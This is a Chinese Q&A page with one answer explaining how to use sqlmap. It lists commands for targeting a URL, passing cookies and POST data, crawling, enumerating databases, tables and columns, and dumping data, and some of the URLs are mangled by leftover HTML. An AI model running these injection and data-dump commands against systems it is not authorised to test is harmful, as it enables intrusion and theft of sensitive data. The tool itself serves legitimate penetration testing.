sqlmap怎么用

1个回答

写回答

Gxd8054

2022-08-26 18:18

+ 关注

php
php

SQLMap是一款开源的自动化SQL注入工具,可以轻松的发现网站中的SQL注入漏洞,并进一步利用这些漏洞来获取敏感数据。以下是SQLMap的一些常用命令:

1. 帮助文档

sqlmap -h

MySQL
MySQL

2. 指定目标URL

sqlmap -u php?id=1">http://www.target.com/index.php?id=1

3. 设置Cookie

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 --cookie="SESSIONID=abcdefg"

4. 指定POST数据

sqlmap -u http://www.target.com/index.php --data="id=1&name=admin"

5. 指定数据库类型

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 --dbms=MySQL

6. 扫描整个网站

sqlmap -u http://www.target.com/ --crawl=1

7. 列出所有数据库

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 --dbs

8. 列出指定数据库的所有表

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 -D Database_name --tables

9. 列出指定表的所有列

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 -D Database_name -T table_name --columns

10. 获取指定列的数据

sqlmap -u php?id=1">http://www.target.com/index.php?id=1 -D Database_name -T table_name -C column_name --dump

以上仅是SQLMap的一些常用命令,更多功能详见官方文档。

举报有用(17分享收藏

Copyright © 2025 IZhiDa.com All Rights Reserved.

知答 版权所有 粤ICP备2023042255号